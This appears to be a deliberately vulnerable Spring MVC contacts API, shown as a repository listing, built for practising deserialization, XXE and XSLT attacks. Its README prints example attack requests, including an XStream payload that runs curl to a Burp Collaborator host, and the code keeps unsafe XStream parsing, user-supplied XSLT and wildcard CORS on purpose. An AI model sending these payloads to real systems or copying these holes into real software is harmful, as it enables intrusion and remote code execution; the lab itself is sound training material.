├── .gitignore ├── Dockerfile ├── README.md ├── doc.xslt ├── pom.xml └── src ├── main ├── java │ └── org │ │ └── insecurelabs │ │ ├── CorsFilter.java │ │ └── api │ │ └── contacts │ │ ├── ActualContact.java │ │ ├── Contact.java │ │ ├── ContactController.java │ │ ├── ContactRepository.java │ │ └── Formatter.java └── webapp │ └── WEB-INF │ ├── applicationContext.xml │ ├── rest-servlet.xml │ └── web.xml └── test └── resources └── log4j.properties /.gitignore: -------------------------------------------------------------------------------- 1 | *.class 2 | 3 | # Package Files # 4 | *.jar 5 | *.war 6 | *.ear 7 | 8 | # Eclipse 9 | .project 10 | .classpath 11 | .settings/ 12 | bin/** 13 | target/** 14 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM maven:3-jdk-8 2 | 3 | WORKDIR /app 4 | 5 | COPY src /app/src/ 6 | COPY pom.xml /app 7 | 8 | RUN mvn compile 9 | 10 | CMD mvn jetty:run 11 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Vulnerable Spring MVC API 2 | Vulnerable to: 3 | 4 | * deserialization attacks (OWASP Top 10 A8) 5 | * XXE (OWASP Top 10 A4) 6 | * XSLT abuse (XSLT 1.0 and 2.0) 7 | 8 | ### Running with maven 9 | 10 | 1. `git clone https://github.com/eoftedal/deserialize.git` 11 | 2. `cd deserialize` 12 | 3. `mvn jetty:run` 13 | 14 | Accessible on port 8080 15 | 16 | ### Running in docker 17 | 1. `git clone https://github.com/eoftedal/deserialize.git` 18 | 2. `cd deserialize` 19 | 3. `docker build -t deserialize .` 20 | 4. `docker run -p 8080:8080 -it deserialize` 21 | 22 | ## Normal request 23 | 24 | ``` 25 | POST /api/contacts HTTP/1.1 26 | Host: localhost 27 | Content-Type: application/xml 28 | Accept: application/xml 29 | 30 | 31 | yo 32 | lo 33 | yo@lo.no 34 | 35 | ``` 36 | 37 | ## Deserialization attack 38 | 39 | ``` 40 | POST /api/contacts HTTP/1.1 41 | Host: localhost 42 | Content-Type: application/xml 43 | Accept: application/xml 44 | 45 | 46 | org.insecurelabs.api.contacts.Contact 47 | 48 | 49 | /usr/bin/curlhttp://[yourid].burpcollaborator.net 50 | 51 | start 52 | 53 | 54 | ``` 55 | 56 | ## XXE 57 | 58 | ``` 59 | POST /api/contacts HTTP/1.1 60 | Host: localhost 61 | Content-Type: application/xml 62 | Accept: application/xml 63 | 64 | 65 | 67 | 68 | ]> 69 | 70 | &content; 71 | lo 72 | yo@lo.no 73 | 74 | ``` 75 | 76 | ## XSLT 2.0 77 | 78 | You have to run at least one normal request first. 79 | 80 | ``` 81 | POST /api/contacts/1/html HTTP/1.1 82 | Host: localhost 83 | Content-Type: application/xslt 84 | Accept: text/html 85 | Content-Length: 241 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | ``` 94 | 95 | You can also use URLs instead of file names with `unparsed-text()`. And of course XXE in the XSLT. 96 | 97 | # Resources 98 | http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/ 99 | -------------------------------------------------------------------------------- /doc.xslt: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | org.insecurelabs 5 | vulnerable-rest-api 6 | war 7 | 0.0.1-SNAPSHOT 8 | Vulnerable REST API 9 | 10 | 11 | 4.0.0.RELEASE 12 | 6.1.26 13 | 1.6.1 14 | UTF-8 15 | 1.2.16 16 | 17 | 18 | 19 | 20 | 21 | org.springframework 22 | spring-core 23 | ${spring.version} 24 | 25 | 26 | 27 | org.springframework 28 | spring-expression 29 | ${spring.version} 30 | 31 | 32 | 33 | org.springframework 34 | spring-beans 35 | ${spring.version} 36 | 37 | 38 | 39 | org.springframework 40 | spring-context 41 | ${spring.version} 42 | 43 | 44 | 45 | org.springframework 46 | spring-oxm 47 | ${spring.version} 48 | 49 | 50 | 51 | org.springframework 52 | spring-aop 53 | ${spring.version} 54 | 55 | 56 | 57 | 58 | org.springframework 59 | spring-web 60 | ${spring.version} 61 | 62 | 63 | 64 | org.springframework 65 | spring-webmvc 66 | ${spring.version} 67 | 68 | 69 | 70 | net.sf.saxon 71 | saxon 72 | 8.5.1 73 | 74 | 75 | 76 | 77 | 78 | org.hibernate 79 | hibernate-validator 80 | 4.2.0.Final 81 | 82 | 83 | 84 | 85 | org.codehaus.jackson 86 | jackson-mapper-asl 87 | 1.7.1 88 | 89 | 90 | 91 | 92 | com.thoughtworks.xstream 93 | xstream 94 | 1.4.4 95 | false 96 | 97 | 98 | 99 | 100 | org.mortbay.jetty 101 | jetty 102 | ${jetty.version} 103 | 104 | 105 | 106 | org.mortbay.jetty 107 | jetty-util 108 | ${jetty.version} 109 | 110 | 111 | 112 | 113 | org.slf4j 114 | slf4j-api 115 | ${slf4j.version} 116 | jar 117 | 118 | 119 | org.slf4j 120 | jcl-over-slf4j 121 | ${slf4j.version} 122 | jar 123 | 124 | 125 | org.slf4j 126 | slf4j-log4j12 127 | ${slf4j.version} 128 | jar 129 | 130 | 131 | 132 | log4j 133 | log4j 134 | ${log4j.version} 135 | jar 136 | 137 | 138 | 139 | 140 | 141 | junit 142 | junit 143 | 4.8.1 144 | test 145 | 146 | 147 | 148 | 149 | vulnerable-rest-api 150 | 151 | 152 | org.eclipse.jetty 153 | jetty-maven-plugin 154 | 9.0.6.v20130930 155 | 156 | 157 | /api 158 | 159 | 160 | 161 | 162 | 163 | 164 | -------------------------------------------------------------------------------- /src/main/java/org/insecurelabs/CorsFilter.java: -------------------------------------------------------------------------------- 1 | package org.insecurelabs; 2 | 3 | import java.io.IOException; 4 | 5 | import javax.servlet.FilterChain; 6 | import javax.servlet.ServletException; 7 | import javax.servlet.http.HttpServletRequest; 8 | import javax.servlet.http.HttpServletResponse; 9 | import org.springframework.web.filter.OncePerRequestFilter; 10 | 11 | public class CorsFilter extends OncePerRequestFilter { 12 | 13 | @Override 14 | protected void doFilterInternal(HttpServletRequest request, 15 | HttpServletResponse response, FilterChain filterChain) 16 | throws ServletException, IOException { 17 | response.addHeader("Access-Control-Allow-Origin", "*"); 18 | if (request.getHeader("Access-Control-Request-Method") != null 19 | && "OPTIONS".equals(request.getMethod())) { 20 | // CORS "pre-flight" request 21 | response.addHeader("Access-Control-Allow-Methods", 22 | "GET, POST, PUT, DELETE"); 23 | response.addHeader("Access-Control-Allow-Headers", 24 | "X-Requested-With,Origin,Content-Type, Accept"); 25 | } 26 | filterChain.doFilter(request, response); 27 | } 28 | 29 | } -------------------------------------------------------------------------------- /src/main/java/org/insecurelabs/api/contacts/ActualContact.java: -------------------------------------------------------------------------------- 1 | package org.insecurelabs.api.contacts; 2 | 3 | import javax.xml.bind.annotation.XmlRootElement; 4 | import javax.xml.bind.annotation.XmlElement; 5 | 6 | @XmlRootElement(name = "contact") 7 | public class ActualContact implements Contact { 8 | 9 | private String firstName; 10 | private String lastName; 11 | private int id; 12 | private String email; 13 | 14 | public int getId() { 15 | return id; 16 | } 17 | public void setId(int id) { 18 | this.id = id; 19 | } 20 | public String getFirstName() { 21 | return firstName; 22 | } 23 | public void setFirstName(String firstName) { 24 | this.firstName = firstName; 25 | } 26 | public String getLastName() { 27 | return lastName; 28 | } 29 | public void setLastName(String lastName) { 30 | this.lastName = lastName; 31 | } 32 | public String getEmail() { 33 | return email; 34 | } 35 | public void setEmail(String email) { 36 | this.email = email; 37 | } 38 | 39 | } 40 | -------------------------------------------------------------------------------- /src/main/java/org/insecurelabs/api/contacts/Contact.java: -------------------------------------------------------------------------------- 1 | package org.insecurelabs.api.contacts; 2 | 3 | import javax.xml.bind.annotation.XmlRootElement; 4 | import javax.xml.bind.annotation.XmlElement; 5 | 6 | @XmlRootElement(name = "contact") 7 | public interface Contact { 8 | 9 | public int getId(); 10 | public void setId(int id); 11 | public String getFirstName(); 12 | public void setFirstName(String firstName); 13 | public String getLastName(); 14 | public void setLastName(String lastName); 15 | public String getEmail(); 16 | public void setEmail(String email); 17 | 18 | } 19 | -------------------------------------------------------------------------------- /src/main/java/org/insecurelabs/api/contacts/ContactController.java: -------------------------------------------------------------------------------- 1 | package org.insecurelabs.api.contacts; 2 | 3 | import org.springframework.stereotype.Controller; 4 | import org.springframework.ui.Model; 5 | import org.springframework.web.bind.annotation.PathVariable; 6 | import org.springframework.web.bind.annotation.RequestMapping; 7 | import org.springframework.web.bind.annotation.RequestMethod; 8 | import org.springframework.http.HttpStatus; 9 | import org.springframework.web.bind.annotation.ResponseStatus; 10 | import org.springframework.web.bind.annotation.RequestBody; 11 | import org.springframework.web.bind.annotation.ResponseBody; 12 | import org.springframework.beans.factory.annotation.Autowired; 13 | import org.springframework.http.ResponseEntity; 14 | import org.springframework.web.servlet.ModelAndView; 15 | import org.springframework.http.*; 16 | 17 | import javax.xml.parsers.*; 18 | import org.w3c.dom.*; 19 | import java.io.*; 20 | import org.xml.sax.*; 21 | 22 | 23 | @Controller 24 | @RequestMapping("/contacts") 25 | public class ContactController { 26 | @Autowired 27 | private ContactRepository contactRepository; 28 | 29 | @RequestMapping( method = RequestMethod.POST) 30 | @ResponseStatus( HttpStatus.CREATED ) 31 | public final ModelAndView create( @RequestBody Contact contact ){ 32 | System.out.println("Creating new contact: " + contact.getFirstName()); 33 | contactRepository.save(contact); 34 | return new ModelAndView("", "responseObject", contact); 35 | } 36 | 37 | @ResponseStatus( HttpStatus.OK ) 38 | @RequestMapping(value = " /{id}", method=RequestMethod.GET) 39 | public final ModelAndView create( @PathVariable int id ){ 40 | Contact contact = contactRepository.get(id); 41 | return new ModelAndView("", "responseObject", contact); 42 | } 43 | 44 | @ResponseStatus( HttpStatus.OK ) 45 | @RequestMapping(value = " /{id}/html", method=RequestMethod.POST) 46 | @ResponseBody 47 | public final String format(@PathVariable int id, HttpEntity xslt ){ 48 | Contact contact = contactRepository.get(id); 49 | try { 50 | String xml = Formatter.format(contact, xslt.getBody()); 51 | return xml; 52 | } catch(Exception ex) { 53 | return ex.getMessage(); 54 | } 55 | } 56 | 57 | 58 | 59 | } 60 | -------------------------------------------------------------------------------- /src/main/java/org/insecurelabs/api/contacts/ContactRepository.java: -------------------------------------------------------------------------------- 1 | package org.insecurelabs.api.contacts; 2 | 3 | import org.springframework.stereotype.Service; 4 | import java.util.Hashtable; 5 | 6 | @Service 7 | public class ContactRepository { 8 | static Hashtable store = new Hashtable(); 9 | static int counter = 0; 10 | 11 | public void save(Contact contact) { 12 | int id = ++counter; 13 | contact.setId(id); 14 | store.put(id, contact); 15 | } 16 | public Contact get(int id) { 17 | return store.get(id); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /src/main/java/org/insecurelabs/api/contacts/Formatter.java: -------------------------------------------------------------------------------- 1 | package org.insecurelabs.api.contacts; 2 | 3 | import com.thoughtworks.xstream.*; 4 | import com.thoughtworks.xstream.io.xml.*; 5 | import java.io.*; 6 | import javax.xml.transform.*; 7 | import javax.xml.transform.stream.*; 8 | import java.nio.*; 9 | import java.nio.file.*; 10 | 11 | public class Formatter { 12 | public static String format(Contact contact, String xslt) throws Exception { 13 | System.out.println(xslt); 14 | XStream xstream = new XStream(); 15 | xstream.alias("contact", Contact.class); 16 | 17 | Path path = Paths.get("./doc.xslt"); 18 | Files.write(path, xslt.getBytes()); 19 | System.out.println(path.toString()); 20 | TraxSource traxSource = new TraxSource(contact, xstream); 21 | Writer buffer = new StringWriter(); 22 | Transformer transformer = TransformerFactory.newInstance().newTransformer( 23 | new StreamSource(path.toFile())); 24 | transformer.transform(traxSource, new StreamResult(buffer)); 25 | return buffer.toString(); 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /src/main/webapp/WEB-INF/applicationContext.xml: -------------------------------------------------------------------------------- 1 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /src/main/webapp/WEB-INF/rest-servlet.xml: -------------------------------------------------------------------------------- 1 | 2 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | -------------------------------------------------------------------------------- /src/main/webapp/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | rest-api 7 | 8 | 9 | rest 10 | org.springframework.web.servlet.DispatcherServlet 11 | 1 12 | 13 | 14 | 15 | rest 16 | 17 | /* 18 | 19 | 20 | 21 | 22 | org.springframework.web.context.ContextLoaderListener 23 | 24 | 25 | 26 | contextConfigLocation 27 | 28 | /WEB-INF/applicationContext.xml 29 | 30 | 31 | 32 | 33 | corsFilter 34 | org.springframework.web.filter.DelegatingFilterProxy 35 | 36 | 37 | 38 | corsFilter 39 | /* 40 | 41 | 42 | 43 | -------------------------------------------------------------------------------- /src/test/resources/log4j.properties: -------------------------------------------------------------------------------- 1 | # Global logging configuration 2 | log4j.rootLogger=INFO, stdout, file 3 | # Console output... 4 | log4j.appender.stdout=org.apache.log4j.ConsoleAppender 5 | log4j.appender.stdout.layout=org.apache.log4j.PatternLayout 6 | log4j.appender.stdout.layout.ConversionPattern=%5p [%t] - %m%n 7 | 8 | log4j.appender.file=org.apache.log4j.FileAppender 9 | log4j.appender.file.layout=org.apache.log4j.PatternLayout 10 | log4j.appender.file.layout.ConversionPattern=%5p [%t] - %m%n 11 | log4j.appender.file.file=target/testlogs/output.log 12 | 13 | # set spring framework debugging on. This is useful when checking beans are being loaded, urls are being hit, etc. 14 | log4j.logger.org.springframework=DEBUG 15 | # turn on debugging for our code. 16 | log4j.logger.com.spidertracks=DEBUG --------------------------------------------------------------------------------